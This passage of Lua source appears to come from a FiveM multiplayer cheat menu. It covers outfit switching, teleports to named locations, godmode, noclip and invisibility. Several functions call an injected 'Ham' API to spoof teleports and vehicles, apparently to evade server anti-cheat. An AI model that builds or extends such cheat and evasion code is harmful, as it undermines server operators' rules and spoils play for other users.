grayOutfit end do local whiteYellowOutfit = {} whiteYellowOutfit.sex = 0 whiteYellowOutfit.face = 33 whiteYellowOutfit.skin = 0 whiteYellowOutfit.hair_1 = 14 whiteYellowOutfit.hair_2 = 0 whiteYellowOutfit.hair_color_1 = 0 whiteYellowOutfit.hair_color_2 = nil whiteYellowOutfit.decals_1 = 0 whiteYellowOutfit.decals_2 = 0 whiteYellowOutfit.tshirt_1 = 15 whiteYellowOutfit.tshirt_2 = 0 whiteYellowOutfit.torso_1 = 287 whiteYellowOutfit.torso_2 = 7 whiteYellowOutfit.arms = 9 whiteYellowOutfit.pants_1 = 114 whiteYellowOutfit.pants_2 = 7 whiteYellowOutfit.shoes_1 = 78 whiteYellowOutfit.shoes_2 = 7 whiteYellowOutfit.mask_1 = 135 whiteYellowOutfit.mask_2 = 7 whiteYellowOutfit.helmet_1 = -1 whiteYellowOutfit.helmet_2 = -1 whiteYellowOutfit.bproof_1 = 0 whiteYellowOutfit.bproof_2 = 0 whiteYellowOutfit.bags_1 = 0 whiteYellowOutfit.bags_2 = 0 whiteYellowOutfit.beard_1 = 135 whiteYellowOutfit.beard_2 = 7 whiteYellowOutfit.beard_3 = 2 whiteYellowOutfit.beard_4 = 0 whiteYellowOutfit.chain_1 = 0 whiteYellowOutfit.chain_2 = 0 whiteYellowOutfit.glasses_1 = 0 whiteYellowOutfit.glasses_2 = 0 adminOutfits["white yellow"] = whiteYellowOutfit end do local whiteGreenOutfit = {} whiteGreenOutfit.sex = 0 whiteGreenOutfit.face = 33 whiteGreenOutfit.skin = 0 whiteGreenOutfit.hair_1 = 14 whiteGreenOutfit.hair_2 = 0 whiteGreenOutfit.hair_color_1 = 0 whiteGreenOutfit.hair_color_2 = nil whiteGreenOutfit.decals_1 = 0 whiteGreenOutfit.decals_2 = 0 whiteGreenOutfit.tshirt_1 = 15 whiteGreenOutfit.tshirt_2 = 0 whiteGreenOutfit.torso_1 = 287 whiteGreenOutfit.torso_2 = 10 whiteGreenOutfit.arms = 9 whiteGreenOutfit.pants_1 = 114 whiteGreenOutfit.pants_2 = 10 whiteGreenOutfit.shoes_1 = 78 whiteGreenOutfit.shoes_2 = 10 whiteGreenOutfit.mask_1 = 135 whiteGreenOutfit.mask_2 = 10 whiteGreenOutfit.helmet_1 = -1 whiteGreenOutfit.helmet_2 = -1 whiteGreenOutfit.bproof_1 = 0 whiteGreenOutfit.bproof_2 = 0 whiteGreenOutfit.bags_1 = 0 whiteGreenOutfit.bags_2 = 0 whiteGreenOutfit.beard_1 = 135 whiteGreenOutfit.beard_2 = 7 whiteGreenOutfit.beard_3 = 2 whiteGreenOutfit.beard_4 = 0 whiteGreenOutfit.chain_1 = 0 whiteGreenOutfit.chain_2 = 0 whiteGreenOutfit.glasses_1 = 0 whiteGreenOutfit.glasses_2 = 0 adminOutfits["white green"] = whiteGreenOutfit end do local whiteOrangeOutfit = {} whiteOrangeOutfit.sex = 0 whiteOrangeOutfit.face = 33 whiteOrangeOutfit.skin = 0 whiteOrangeOutfit.hair_1 = 14 whiteOrangeOutfit.hair_2 = 0 whiteOrangeOutfit.hair_color_1 = 0 whiteOrangeOutfit.hair_color_2 = nil whiteOrangeOutfit.decals_1 = 0 whiteOrangeOutfit.decals_2 = 0 whiteOrangeOutfit.tshirt_1 = 15 whiteOrangeOutfit.tshirt_2 = 0 whiteOrangeOutfit.torso_1 = 287 whiteOrangeOutfit.torso_2 = 11 whiteOrangeOutfit.arms = 9 whiteOrangeOutfit.pants_1 = 114 whiteOrangeOutfit.pants_2 = 11 whiteOrangeOutfit.shoes_1 = 78 whiteOrangeOutfit.shoes_2 = 11 whiteOrangeOutfit.mask_1 = 135 whiteOrangeOutfit.mask_2 = 11 whiteOrangeOutfit.helmet_1 = -1 whiteOrangeOutfit.helmet_2 = -1 whiteOrangeOutfit.bproof_1 = 0 whiteOrangeOutfit.bproof_2 = 0 whiteOrangeOutfit.bags_1 = 0 whiteOrangeOutfit.bags_2 = 0 whiteOrangeOutfit.beard_1 = 135 whiteOrangeOutfit.beard_2 = 7 whiteOrangeOutfit.beard_3 = 2 whiteOrangeOutfit.beard_4 = 0 whiteOrangeOutfit.chain_1 = 0 whiteOrangeOutfit.chain_2 = 0 whiteOrangeOutfit.glasses_1 = 0 whiteOrangeOutfit.glasses_2 = 0 adminOutfits["white orange"] = whiteOrangeOutfit end do local whitePurpleOutfit = {} whitePurpleOutfit.sex = 0 whitePurpleOutfit.face = 33 whitePurpleOutfit.skin = 0 whitePurpleOutfit.hair_1 = 14 whitePurpleOutfit.hair_2 = 0 whitePurpleOutfit.hair_color_1 = 0 whitePurpleOutfit.hair_color_2 = nil whitePurpleOutfit.decals_1 = 0 whitePurpleOutfit.decals_2 = 0 whitePurpleOutfit.tshirt_1 = 15 whitePurpleOutfit.tshirt_2 = 0 whitePurpleOutfit.torso_1 = 287 whitePurpleOutfit.torso_2 = 12 whitePurpleOutfit.arms = 9 whitePurpleOutfit.pants_1 = 114 whitePurpleOutfit.pants_2 = 12 whitePurpleOutfit.shoes_1 = 78 whitePurpleOutfit.shoes_2 = 12 whitePurpleOutfit.mask_1 = 135 whitePurpleOutfit.mask_2 = 12 whitePurpleOutfit.helmet_1 = -1 whitePurpleOutfit.helmet_2 = -1 whitePurpleOutfit.bproof_1 = 0 whitePurpleOutfit.bproof_2 = 0 whitePurpleOutfit.bags_1 = 0 whitePurpleOutfit.bags_2 = 0 whitePurpleOutfit.beard_1 = 135 whitePurpleOutfit.beard_2 = 7 whitePurpleOutfit.beard_3 = 2 whitePurpleOutfit.beard_4 = 0 whitePurpleOutfit.chain_1 = 0 whitePurpleOutfit.chain_2 = 0 whitePurpleOutfit.glasses_1 = 0 whitePurpleOutfit.glasses_2 = 0 adminOutfits["white purple"] = whitePurpleOutfit end do local whitePinkOutfit = {} whitePinkOutfit.sex = 0 whitePinkOutfit.face = 33 whitePinkOutfit.skin = 0 whitePinkOutfit.hair_1 = 14 whitePinkOutfit.hair_2 = 0 whitePinkOutfit.hair_color_1 = 0 whitePinkOutfit.hair_color_2 = nil whitePinkOutfit.decals_1 = 0 whitePinkOutfit.decals_2 = 0 whitePinkOutfit.tshirt_1 = 15 whitePinkOutfit.tshirt_2 = 0 whitePinkOutfit.torso_1 = 287 whitePinkOutfit.torso_2 = 13 whitePinkOutfit.arms = 9 whitePinkOutfit.pants_1 = 114 whitePinkOutfit.pants_2 = 13 whitePinkOutfit.shoes_1 = 78 whitePinkOutfit.shoes_2 = 7 whitePinkOutfit.mask_1 = 135 whitePinkOutfit.mask_2 = 13 whitePinkOutfit.helmet_1 = -1 whitePinkOutfit.helmet_2 = -1 whitePinkOutfit.bproof_1 = 0 whitePinkOutfit.bproof_2 = 0 whitePinkOutfit.bags_1 = 0 whitePinkOutfit.bags_2 = 0 whitePinkOutfit.beard_1 = 135 whitePinkOutfit.beard_2 = 7 whitePinkOutfit.beard_3 = 2 whitePinkOutfit.beard_4 = 0 whitePinkOutfit.chain_1 = 0 whitePinkOutfit.chain_2 = 0 whitePinkOutfit.glasses_1 = 0 whitePinkOutfit.glasses_2 = 0 adminOutfits["white pink"] = whitePinkOutfit end outfitName = string.lower(outfitName or "") local selectedOutfit = adminOutfits[outfitName] if not selectedOutfit then return end local outfitPed = PlayerPedId() local savedWeapons = menu.utils.savePlayerWeapons() local savedVehicle = menu.utils.savePlayerVehicle() ClearPedProp(outfitPed, 0) local desiredModelHash = nil if selectedOutfit.sex ~= nil then if selectedOutfit.sex == 0 then desiredModelHash = GetHashKey("mp_m_freemode_01") else desiredModelHash = GetHashKey("mp_f_freemode_01") end end if desiredModelHash ~= nil then if desiredModelHash ~= GetEntityModel(outfitPed) then RequestModel(desiredModelHash) while not HasModelLoaded(desiredModelHash) do Citizen.Wait(0) RequestModel(desiredModelHash) end SetPlayerModel(PlayerId(), desiredModelHash) SetModelAsNoLongerNeeded(desiredModelHash) outfitPed = PlayerPedId() SetPedDefaultComponentVariation(outfitPed) end end menu.utils.restorePlayerWeapons(savedWeapons) menu.utils.restorePlayerVehicle(savedVehicle) SetPedHeadBlendData( outfitPed, selectedOutfit.face or 0, selectedOutfit.face or 0, selectedOutfit.face or 0, selectedOutfit.skin or 0, selectedOutfit.skin or 0, selectedOutfit.skin or 0, 1.0, 1.0, 1.0, true ) SetPedComponentVariation(outfitPed, 2, 0, 0, 2) local primaryHairColor = selectedOutfit.hair_color_1 if not primaryHairColor then primaryHairColor = 0 end local highlightHairColor = selectedOutfit.hair_color_2 repeat highlightHairColor = selectedOutfit.hair_color_2 or selectedOutfit.hair_color_1 or 0 until true SetPedHairColor(outfitPed, primaryHairColor, highlightHairColor) SetPedEyeColor(outfitPed, 10) if selectedOutfit.beard_1 ~= nil then SetPedHeadOverlay(outfitPed, 1, selectedOutfit.beard_1, (selectedOutfit.beard_2 or 10) / 10.0) SetPedHeadOverlayColor(outfitPed, 1, 1, selectedOutfit.beard_3 or 0, selectedOutfit.beard_4 or 0) end if selectedOutfit.age_1 ~= nil then SetPedHeadOverlay(outfitPed, 3, selectedOutfit.age_1, (selectedOutfit.age_2 or 10) / 10.0) end if selectedOutfit.eyebrows_1 ~= nil then SetPedHeadOverlay(outfitPed, 2, selectedOutfit.eyebrows_1, (selectedOutfit.eyebrows_2 or 10) / 10.0) SetPedHeadOverlayColor(outfitPed, 2, 1, selectedOutfit.eyebrows_3 or 0, selectedOutfit.eyebrows_4 or 0) end SetPedHeadOverlay(outfitPed, 2, 10, 1.0) SetPedHeadOverlayColor(outfitPed, 2, 1, 0, 0) if selectedOutfit.makeup_1 ~= nil then SetPedHeadOverlay(outfitPed, 4, selectedOutfit.makeup_1, (selectedOutfit.makeup_2 or 10) / 10.0) SetPedHeadOverlayColor(outfitPed, 4, 1, selectedOutfit.makeup_3 or 0, selectedOutfit.makeup_4 or 0) end if selectedOutfit.lipstick_1 ~= nil then SetPedHeadOverlay(outfitPed, 8, selectedOutfit.lipstick_1, (selectedOutfit.lipstick_2 or 10) / 10.0) SetPedHeadOverlayColor(outfitPed, 8, 1, selectedOutfit.lipstick_3 or 0, selectedOutfit.lipstick_4 or 0) end SetPedComponentVariation(outfitPed, 8, selectedOutfit.tshirt_1 or 0, selectedOutfit.tshirt_2 or 0, 2) SetPedComponentVariation(outfitPed, 11, selectedOutfit.torso_1 or 0, selectedOutfit.torso_2 or 0, 2) SetPedComponentVariation(outfitPed, 3, selectedOutfit.arms or 0, 0, 2) SetPedComponentVariation(outfitPed, 10, selectedOutfit.decals_1 or 0, selectedOutfit.decals_2 or 0, 2) SetPedComponentVariation(outfitPed, 4, selectedOutfit.pants_1 or 0, selectedOutfit.pants_2 or 0, 2) SetPedComponentVariation(outfitPed, 6, selectedOutfit.shoes_1 or 0, selectedOutfit.shoes_2 or 0, 2) SetPedComponentVariation(outfitPed, 1, selectedOutfit.mask_1 or 0, selectedOutfit.mask_2 or 0, 2) SetPedComponentVariation(outfitPed, 9, selectedOutfit.bproof_1 or 0, selectedOutfit.bproof_2 or 0, 2) SetPedComponentVariation(outfitPed, 7, selectedOutfit.chain_1 or 0, selectedOutfit.chain_2 or 0, 2) SetPedComponentVariation(outfitPed, 5, selectedOutfit.bags_1 or 0, selectedOutfit.bags_2 or 0, 2) if selectedOutfit.helmet_1 ~= nil then if selectedOutfit.helmet_1 >= 0 then SetPedPropIndex(outfitPed, 0, selectedOutfit.helmet_1, selectedOutfit.helmet_2 or 0, true) else ClearPedProp(outfitPed, 0) end end if selectedOutfit.glasses_1 ~= nil then if selectedOutfit.glasses_1 >= 0 then SetPedPropIndex(outfitPed, 1, selectedOutfit.glasses_1, selectedOutfit.glasses_2 or 0, true) else ClearPedProp(outfitPed, 1) end end if selectedOutfit.ears_1 ~= nil then if selectedOutfit.ears_1 >= 0 then SetPedPropIndex(outfitPed, 2, selectedOutfit.ears_1, selectedOutfit.ears_2 or 0, true) else ClearPedProp(outfitPed, 2) end end ClearPedProp(outfitPed, 0) end function assembledMenuFunctions.cycleOutfitHotkey() local nextOutfitHotkeyUsesAdmin = menu.vars.nextOutfitHotkeyUsesAdmin == true if nextOutfitHotkeyUsesAdmin then local outfitChoices = { "White", "Black", "Red", "Yellow", "Blue", "Green", "Gray", "White Yellow", "White Green", "White Orange", "White Purple", "White Pink" } local choice = outfitChoices[menu.vars.selectors.adminOutfit or 1] or outfitChoices[1] menu.functions.changeAdminOutfit(choice) else local outfitChoices = menu.functions.normalOutfitChoices local choice = outfitChoices[menu.vars.selectors.normalOutfit or 1] or outfitChoices[1] menu.functions.changeNormalOutfit(choice) end menu.vars.nextOutfitHotkeyUsesAdmin = not nextOutfitHotkeyUsesAdmin end pendingFunctionValue = {} pendingMenuEntry17 = vector3(-73.3493, -1108.2875, 26.0002) pendingFunctionValue["Vehicle Shop"] = pendingMenuEntry17 pendingMenuEntry17 = vector3(258.7029, -869.964, 29.2831) pendingFunctionValue["Meeting Point"] = pendingMenuEntry17 pendingMenuEntry17 = vector3(258.7029, -869.964, 29.2831) pendingFunctionValue.City = pendingMenuEntry17 pendingMenuEntry17 = vector3(14.6011, -1122.6011, 28.7905) pendingFunctionValue.Ammunation = pendingMenuEntry17 pendingMenuEntry17 = vector3(14.6011, -1122.6011, 28.7905) pendingFunctionValue["Ammu-Nation"] = pendingMenuEntry17 pendingMenuEntry17 = vector3(14.6011, -1122.6011, 28.7905) pendingFunctionValue["Weapon Shop"] = pendingMenuEntry17 pendingMenuEntry17 = vector3(-1037.9, -2737.5, 13.8) pendingFunctionValue.Airport = pendingMenuEntry17 pendingMenuEntry17 = vector3(-1673.3, -1134.4, 13.1) pendingFunctionValue.Beach = pendingMenuEntry17 pendingMenuEntry17 = vector3(-75.24, -818.95, 326.1) pendingFunctionValue["Maze Bank"] = pendingMenuEntry17 pendingMenuEntry17 = vector3(453.2, 5571.9, 781.0) pendingFunctionValue["Mount Chiliad"] = pendingMenuEntry17 pendingMenuEntry17 = vector3(140.43, -750.52, 258.15) pendingFunctionValue["FIB Building"] = pendingMenuEntry17 pendingMenuEntry17 = vector3(425.1, -979.5, 30.7) pendingFunctionValue["Mission Row PD"] = pendingMenuEntry17 pendingMenuEntry17 = vector3(308.6, -595.3, 43.28) pendingFunctionValue["Pillbox Hospital"] = pendingMenuEntry17 pendingMenuEntry17 = vector3(-1632.87, -1007.81, 13.07) pendingFunctionValue["Del Perro Pier"] = pendingMenuEntry17 pendingMenuEntry17 = vector3(109.63, -1943.14, 20.8) pendingFunctionValue["Grove Street"] = pendingMenuEntry17 pendingMenuEntry17 = vector3(229.21, -871.61, 30.49) pendingFunctionValue["Legion Square"] = pendingMenuEntry17 pendingMenuEntry17 = vector3(-365.4, -131.8, 37.7) pendingFunctionValue["LS Customs"] = pendingMenuEntry17 pendingMenuEntry17 = vector3(1039.2, -765.3, 57.9) pendingFunctionValue["Mirror Park"] = pendingMenuEntry17 pendingMenuEntry17 = vector3(-1223.8, -1516.6, 4.4) pendingFunctionValue["Vespucci Beach"] = pendingMenuEntry17 pendingMenuEntry17 = vector3(293.2, 180.5, 104.3) pendingFunctionValue.Vinewood = pendingMenuEntry17 pendingMenuEntry17 = vector3(1843.1, 3707.6, 33.52) pendingFunctionValue["Sandy Shores"] = pendingMenuEntry17 assembledMenuFunctions.locations = pendingFunctionValue function assembledMenuFunctions.safeTeleport(vector) local teleportCompleted = false Citizen.CreateThread(function() Ham.spoofTeleport(true) if menu.vars and menu.vars.freecamMenuActive then menu.vars.freecamTeleportUsedInFreecam = true end local playerPed = PlayerPedId() local teleportEntity = IsPedInAnyVehicle(playerPed, false) and GetVehiclePedIsIn(playerPed, false) or playerPed local previousCoords = GetEntityCoords(teleportEntity) menu.vars.teleportBackCoords = previousCoords menu.teleportBackCoords = previousCoords local vehicleSpoofActivated = false if not IsPedInAnyVehicle(playerPed, false) then if Ham.Network and Ham.Network.isVehicleSpoofActive and not Ham.Network.isVehicleSpoofActive() then vehicleSpoofActivated = true if menu.functions.enableVehicleSpoof then menu.functions.enableVehicleSpoof() end end menu.utils.feloxMarkTeleport() SetEntityCoords(playerPed, vector.x, vector.y, vector.z, false, false, false, true) Citizen.Wait(1000) else menu.utils.feloxMarkTeleport() SetEntityCoords( GetVehiclePedIsIn(playerPed, false), vector.x, vector.y, vector.z, false, false, false, true ) Citizen.Wait(400) end if vehicleSpoofActivated then Ham.Network.vehicleSpoof(false) end Ham.spoofTeleport(false) teleportCompleted = true end) while not teleportCompleted do Wait(10) end end function assembledMenuFunctions.teleportToWaypoint() local waypointBlip = GetFirstBlipInfoId(8) if not DoesBlipExist(waypointBlip) then menu.utils.notify("No waypoint set", "error", 2500) return end local waypointCoords = GetBlipInfoIdCoord(waypointBlip) local playerPed = PlayerPedId() local teleportEntity = IsPedInAnyVehicle(playerPed, false) and GetVehiclePedIsIn(playerPed, false) or playerPed local previousCoords = GetEntityCoords(teleportEntity) menu.vars.teleportBackCoords = previousCoords menu.teleportBackCoords = previousCoords DoScreenFadeOut(250) while not IsScreenFadedOut() do Wait(0) end FreezeEntityPosition(teleportEntity, true) SetEntityCoords( teleportEntity, waypointCoords.x, waypointCoords.y, waypointCoords.z + 50.0, false, false, false, false ) local collisionDeadline = GetGameTimer() + 1200 while not HasCollisionLoadedAroundEntity(playerPed) and GetGameTimer() <= collisionDeadline do RequestCollisionAtCoord(waypointCoords.x, waypointCoords.y, waypointCoords.z) Wait(10) end Wait(50) local groundZ for attempt = 1, 10 do local foundGround, z = GetGroundZFor_3dCoord(waypointCoords.x, waypointCoords.y, waypointCoords.z + 500.0, false) if foundGround then groundZ = z break end RequestCollisionAtCoord(waypointCoords.x, waypointCoords.y, waypointCoords.z) Wait(50) end menu.utils.feloxMarkTeleport() SetEntityCoords( teleportEntity, waypointCoords.x, waypointCoords.y, groundZ or waypointCoords.z, false, false, false, false ) FreezeEntityPosition(teleportEntity, false) DoScreenFadeIn(250) Wait(250) menu.utils.notify("Teleported to waypoint", "success", 2500) end function assembledMenuFunctions.getWaypointResolvedPositionForRemote() local waypointBlip = GetFirstBlipInfoId(8) if not DoesBlipExist(waypointBlip) then return nil end local waypointCoords = GetBlipInfoIdCoord(waypointBlip) local coordinateX, coordinateY, coordinateZ = waypointCoords.x, waypointCoords.y, waypointCoords.z local deadline = GetGameTimer() + 900 while GetGameTimer() < deadline do RequestCollisionAtCoord(coordinateX, coordinateY, coordinateZ) RequestAdditionalCollisionAtCoord(coordinateX, coordinateY, coordinateZ) Wait(40) local foundGround, groundZ = GetGroundZFor_3dCoord(coordinateX, coordinateY, coordinateZ + 800.0, false) if foundGround and groundZ then return { x = coordinateX, y = coordinateY, z = groundZ } end end return { x = coordinateX, y = coordinateY, z = coordinateZ } end function assembledMenuFunctions.teleportToLocation(locationArg) local location if type(locationArg) == "string" and locationArg then location = locationArg elseif not locationArg then location = locationArg else location = locationArg.funcArg end if not location then return end if location == "Waypoint" then menu.functions.teleportToWaypoint() return end local destination = menu.functions.locations[location] if destination then Citizen.CreateThread(function() menu.functions.safeTeleport(destination) menu.utils.notify("Teleported to " .. tostring(location), "success", 2500) end) end end function assembledMenuFunctions.teleportTargetSelectorEnter(target) if target == "Coords" then menu.functions.teleportToCoords() else menu.functions.teleportToWaypoint() end end function assembledMenuFunctions.teleportToCoords() menu.ui.promptText({ title = "Teleport to Coords", label = "Enter X, Y, Z", placeholder = "e.g. 253.41, -891.27, 29.62", default = "", maxLen = 64 }, function(input, cancelled) if cancelled then return end if not input or input == "" then menu.utils.notify("No coordinates entered", "error", 2000) return end local textValue = tostring(input) local xText, yText, zText = textValue:match("([%-]?%d+%.?%d*)%s*,%s*([%-]?%d+%.?%d*)%s*,%s*([%-]?%d+%.?%d*)") local coordinateX, coordinateY, coordinateZ = tonumber(xText), tonumber(yText), tonumber(zText) if not coordinateX or not coordinateY or not coordinateZ then menu.utils.notify("Invalid format. Use x, y, z or paste 'Player Coordinates: x, y, z'", "error", 3000) return end local playerPed = PlayerPedId() local teleportEntity = IsPedInAnyVehicle(playerPed, false) and GetVehiclePedIsIn(playerPed, false) or playerPed menu.vars.teleportBackCoords = GetEntityCoords(teleportEntity) menu.functions.safeTeleport(vector3(coordinateX + 0.0, coordinateY + 0.0, coordinateZ + 0.0)) menu.utils.notify("Teleported to custom coords", "success", 2000) end) end function assembledMenuFunctions.teleportToBack() local previousCoords = menu.vars.teleportBackCoords or menu.teleportBackCoords if not previousCoords then menu.utils.notify("No saved back position found", "error", 2000) return end Citizen.CreateThread(function() menu.functions.safeTeleport(vector3(previousCoords.x, previousCoords.y, previousCoords.z)) menu.utils.notify("Teleported back", "success", 2000) end) end function assembledMenuFunctions.saveCurrentLocation() if not menu.vars.savedLocations then menu.vars.savedLocations = {} end menu.ui.promptText({ title = "Save Location", label = "Enter location name:", default = "", maxLen = 32 }, function(input, cancelled) if cancelled then return end local locationName = tostring(input or ""):gsub("^%s+", ""):gsub("%s+$", "") if locationName == "" then menu.utils.notify("Please enter a valid location name", "error", 2500) return end for _, savedLocation in ipairs(menu.vars.savedLocations) do if type(savedLocation) == "table" and tostring(savedLocation.name) == locationName then menu.utils.notify("Location name already exists", "error", 2500) return end end local playerPed = PlayerPedId() local positionEntity = IsPedInAnyVehicle(playerPed, false) and GetVehiclePedIsIn(playerPed, false) or playerPed local coords = GetEntityCoords(positionEntity) table.insert(menu.vars.savedLocations, { name = locationName, x = coords.x + 0.0, y = coords.y + 0.0, z = coords.z + 0.0 }) if menu.logic and menu.logic.refreshSubmenuByTitle then menu.logic.refreshSubmenuByTitle("Self Options") end menu.utils.notify("Location saved: " .. locationName, "success", 2500) end) end function assembledMenuFunctions.teleportToSavedLocationButton(button) local locationIndex = button and button.funcArg if not locationIndex then return end local savedLocations = menu.vars.savedLocations or {} local savedLocation = savedLocations[locationIndex] if not savedLocation or type(savedLocation) ~= "table" then return end local coordinateX = tonumber(savedLocation.x) local coordinateY = tonumber(savedLocation.y) local coordinateZ = tonumber(savedLocation.z) if not coordinateX or not coordinateY or not coordinateZ then menu.utils.notify("Saved location is invalid", "error", 2000) return end Citizen.CreateThread(function() menu.functions.safeTeleport(vector3(coordinateX, coordinateY, coordinateZ)) menu.utils.notify("Teleported to " .. tostring(savedLocation.name), "success", 2500) end) end function assembledMenuFunctions.toggleGodmode(toggleOptions) Ham.godMode(toggleOptions.toggleState) menu.utils.notifyToggle("Godmode", toggleOptions.toggleState) end function assembledMenuFunctions.applyPlayerProofs() local playerPed = PlayerPedId() if playerPed == 0 or not DoesEntityExist(playerPed) then return end local toggleStates = menu.vars.bools or {} SetEntityProofs( playerPed, toggleStates.proofBullet == true, toggleStates.proofFire == true, toggleStates.proofExplosion == true, toggleStates.proofCollision == true, toggleStates.proofMelee == true, toggleStates.proofSteam == true, false, toggleStates.proofDrown == true ) end function assembledMenuFunctions.togglePlayerProof(toggleOptions) menu.functions.applyPlayerProofs() end function assembledMenuFunctions.applyNoclipCameraRotation(entity) entity = entity or PlayerPedId() if entity == 0 or not DoesEntityExist(entity) then return end local cameraRotation = GetFinalRenderedCamRot(2) if not cameraRotation then return end local pitch = cameraRotation.x or 0.0 local heading = cameraRotation.z or 0.0 if IsPedInAnyVehicle(entity, false) then local vehicle = GetVehiclePedIsIn(entity, false) if not vehicle or vehicle == 0 or GetPedInVehicleSeat(vehicle, -1) ~= entity then return end SetEntityRotation(vehicle, pitch, 0.0, heading, 2, true) return end SetEntityHeading(entity, heading) end function assembledMenuFunctions.prepareNoclipEnter(entity) entity = entity or PlayerPedId() if entity == 0 or not DoesEntityExist(entity) then return end ClearPedTasksImmediately(entity) SetEntityVelocity(entity, 0.0, 0.0, 0.0) if IsPedInAnyVehicle(entity, false) then local vehicle = GetVehiclePedIsIn(entity, false) if vehicle and vehicle ~= 0 then SetEntityVelocity(vehicle, 0.0, 0.0, 0.0) end end if menu.vars then menu.vars._noclipEnterFrames = 10 end end function assembledMenuFunctions.toggleNoclip(toggleOptions) local noclipModeEnabled = menu.vars and menu.vars.bools and menu.vars.bools.noclipModeEnabled == true local noclipMode = menu.vars and menu.vars.selectors and menu.vars.selectors.noclipMode or 1 local enabled = toggleOptions.toggleState local fullInvisibleNoclip = (enabled and noclipModeEnabled and noclipMode == 2) or (menu.vars and menu.vars.bools and menu.vars.bools.fullInvisible == true) local modeAlreadyEnabled = enabled and noclipModeEnabled if enabled and fullInvisibleNoclip and not modeAlreadyEnabled then if menu.functions and menu.functions.disableDesyncNameIfActive then menu.functions.disableDesyncNameIfActive() end Ham.noClip(true) if menu.functions and menu.functions.startNoclipVehicleSpoof then menu.functions.startNoclipVehicleSpoof() end if menu.functions and menu.functions.beginFullInvisibleNoclipUi then menu.functions.beginFullInvisibleNoclipUi() end menu.vars.bools.noclipInvis = true elseif enabled and fullInvisibleNoclip and modeAlreadyEnabled and noclipMode == 2 then Ham.noClip(true) else Ham.noClip(enabled) if not enabled then if menu.vars.bools.noclipInvis then menu.vars.bools.noclipInvis = false if menu.vars.bools.fullInvisibleWalk ~= true then local playerPed = PlayerPedId() menu.utils.restoreNoclipInvisHidden(playerPed) if IsPedInAnyVehicle(playerPed, false) then menu.utils.restoreNoclipInvisHidden(GetVehiclePedIsIn(playerPed, false)) end end end if fullInvisibleNoclip then if menu.vars.bools.fullInvisibleWalk == true then menu.vars.bools.fullInvisible = false if menu.functions and menu.functions.hideFullInvisibleNotify then menu.functions.hideFullInvisibleNotify() end else if menu.functions and menu.functions.endNoclipVehicleSpoofIfActive then menu.functions.endNoclipVehicleSpoofIfActive() end if menu.functions and menu.functions.endFullInvisibleNoclipUi then menu.functions.endFullInvisibleNoclipUi() end menu.vars.bools.fullInvisible = false end end end end if enabled then if menu.utils and menu.utils.isAzertyKeyboard and menu.utils.isAzertyKeyboard() then menu.utils.safeCallByName("applyKeyboardLayout", "AZERTY") end local playerPed = PlayerPedId() SetPedCanSwitchWeapon(playerPed, true) local noclipSpeed = menu.vars.sliders.noclipSpeed or 0.5 if menu.functions and menu.functions.applyNoclipSpeed then menu.functions.applyNoclipSpeed(noclipSpeed) else Ham.setNoClipSpeed(noclipSpeed) end playerPed = PlayerPedId() if playerPed ~= 0 and DoesEntityExist(playerPed) then local cameraRotation = GetFinalRenderedCamRot(2) if cameraRotation then if IsPedInAnyVehicle(playerPed, false) then local vehicle = GetVehiclePedIsIn(playerPed, false) if vehicle and vehicle ~= 0 and GetPedInVehicleSeat(vehicle, -1) == playerPed then SetEntityRotation(vehicle, cameraRotation.x or 0.0, 0.0, cameraRotation.z, 2, true) end else SetEntityHeading(playerPed, cameraRotation.z) end end end end if enabled and noclipModeEnabled then if menu.functions and menu.functions.applyNoclipMode then menu.functions.applyNoclipMode() end elseif menu.functions and menu.functions.clearNoclipModeEffects then menu.functions.clearNoclipModeEffects() end if enabled and not menu.vars._noclipMinimapThread then menu.vars._noclipMinimapThread = true Citizen.CreateThread(function() while menu.vars and menu.vars.bools and menu.vars.bools.noclip do if _G.pmFullInvisibleActive ~= true then local cameraPosition = GetFinalRenderedCamCoord() local cameraRotation = GetFinalRenderedCamRot(2) if cameraPosition and cameraRotation then local heading = cameraRotation.z % 360.0 if heading < 0.0 then heading = heading + 360.0 end LockMinimapPosition(cameraPosition.x, cameraPosition.y) LockMinimapAngle(math.floor(heading + 0.5)) Citizen.InvokeNative(8638710128135168463, cameraPosition.x, cameraPosition.y) end end Citizen.Wait(0) end pcall(function() UnlockMinimapPosition() UnlockMinimapAngle() end) menu.vars._noclipMinimapThread = false end) end end function assembledMenuFunctions.toggleNoclipInvis(toggleOptions) if not toggleOptions.toggleState then local playerPed = PlayerPedId() if playerPed ~= 0 and DoesEntityExist(playerPed) then menu.utils.restoreNoclipInvisHidden(playerPed) end if IsPedInAnyVehicle(playerPed, false) then menu.utils.restoreNoclipInvisHidden(GetVehiclePedIsIn(playerPed, false)) end end end function assembledMenuFunctions.clearNoclipModeEffects() if not menu.vars or not menu.vars.bools then return end if menu.vars._noclipSoloSessionActive then menu.vars._noclipSoloSessionActive = false if menu.vars._noclipSoloSessionOwned then menu.vars._noclipSoloSessionOwned = false NetworkEndTutorialSession() end end menu.vars.bools.noclipInvis = false if menu.vars.bools.fullInvisibleWalk == true then menu.vars.bools.fullInvisible = false if menu.functions and menu.functions.hideFullInvisibleNotify then menu.functions.hideFullInvisibleNotify() end menu.vars._noclipVehicleSpoofActive = false menu.vars._noclipVehicleSpoofOwned = false if menu.functions and menu.functions.restoreFullInvisibleWalkState then menu.functions.restoreFullInvisibleWalkState() end return end if menu.functions and menu.functions.endNoclipVehicleSpoofIfActive then menu.functions.endNoclipVehicleSpoofIfActive() end if menu.functions and menu.functions.toggleFullInvisible and _G.pmFullInvisibleActive == true then menu.functions.toggleFullInvisible({ toggleState = false, fromNoclipToggle = true, keepArmed = true }) elseif menu.functions and menu.functions.endFullInvisibleNoclipUi and (menu.vars.pmFullInvisibleActive == true or menu.vars.bools.fullInvisible == true) then menu.functions.endFullInvisibleNoclipUi() end menu.vars.bools.fullInvisible = false local playerPed = PlayerPedId() if playerPed ~= 0 and DoesEntityExist(playerPed) then menu.utils.restoreNoclipInvisHidden(playerPed) end if IsPedInAnyVehicle(playerPed, false) then menu.utils.restoreNoclipInvisHidden(GetVehiclePedIsIn(playerPed, false)) end end function assembledMenuFunctions.endNoclipSoloSessionIfActive() if menu.vars and menu.vars._noclipSoloSessionActive then menu.vars._noclipSoloSessionActive = false if menu.vars._noclipSoloSessionOwned then menu.vars._noclipSoloSessionOwned = false NetworkEndTutorialSession() end end end function assembledMenuFunctions.startNoclipSoloSession() if not menu.vars then return end menu.vars._noclipSoloSessionActive = true if menu.vars.bools and menu.vars.bools.soloSession then menu.vars._noclipSoloSessionOwned = false return end menu.vars._noclipSoloSessionOwned = true NetworkStartSoloTutorialSession() end function 